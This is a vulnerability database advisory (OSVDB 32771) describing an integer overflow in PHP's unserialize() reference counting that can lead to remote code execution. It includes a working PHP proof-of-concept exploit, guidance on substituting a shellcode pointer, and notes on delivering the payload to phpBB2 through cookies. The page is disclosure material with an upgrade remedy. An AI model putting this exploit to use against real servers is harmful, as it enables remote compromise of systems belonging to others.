32771 : PHP unserialize() ZVAL Reference Counter Remote Overflow
Printer | http://osvdb.org/32771 | Email This | Edit Vulnerability

Views This Week

5

Views All Time

190

Info

Last Modified

16 days ago

Percent Complete

100%

Disclosure

Mar 02, 2007

Discovery

Unknown

Dates

Exploit

Mar 02, 2007

Solution

Unknown

Keywords

HPSBMA02215,SSRT071423

Description

PHP contains a flaw that may a context-dependent attacker to elevate privileges. The issue can occur when the unserialize() function is used on an attacker supplied string, which can result in an integer overflow in the refcount variable in _zval_struct through the creation of a large number of references for a specific variable leading to a double destruction of the underlying variable. It is possible that the flaw may allow a remote attacker to execute arbitrary code resulting in a loss of integrity.

Classification

Location: Remote/Network Access Required
Attack Type: Input Manipulation
Impact: Loss of Integrity
Exploit: Exploit Available
Disclosure: OSVDB Verified

Technical

The PHP 4.4.5 release announcement fails to mention that this vulnerability was patched in the 4.4.5 PHP version.

The exploit below is designed for Linux x86 systems where 0x08064058 is a readable address in the PHP process and will try to execute instruction at 0x99887766, which for arbitrary code execution would need to be replaced with a pointer to your shellcode.

-----------------
Exploit
-----------------
<?php
die("REMOVE THIS LINE");
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
unserialize($str);
?>

To exploit the PHP application phpBB2, which uses the unserialize() function, you would need to put a similar string into a cookie, working around the size limit of HTTP headers by using many Cookie: headers. Additionally, at the end of every line you would need to place a line terminator s:2:" and start every following line with ";N; of course with URL encoded ';'

Solution

Upgrade to version 4.4.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

Products

The PHP Group
Watch-list
PHP
Watch-list
4.0 Beta 1
4.0 Beta 2
4.0 Beta 3
4.0 Beta 4
4.0.x
4.1.x
4.2.x
4.4.0
4.4.2
4.4.1
4.3.x
4.4.3
4.4.5
4.4.6
4.4.4
4.0, Release Candidate 2
4.0, Release Candidate 1

References

Tools & Filters

Nessus

24887 25067 25068 25099 25100 25340

Credit

  • Stefan Esser - sesserBrand New Doo Doohardened-php.net - www.hardened-php.net

Blogs

None found at this time

Comments

No Comments.

DONATE NOW!

User Status

Quick Searches

Advertisements

The database information may change without any notice. Use of the information constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the copyright holder or distributor (OSVDB or OSF) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

© Copyright 2008 Open Source Vulnerability Database (OSVDB), All Rights Reserved.
Privacy Statement - Terms of Use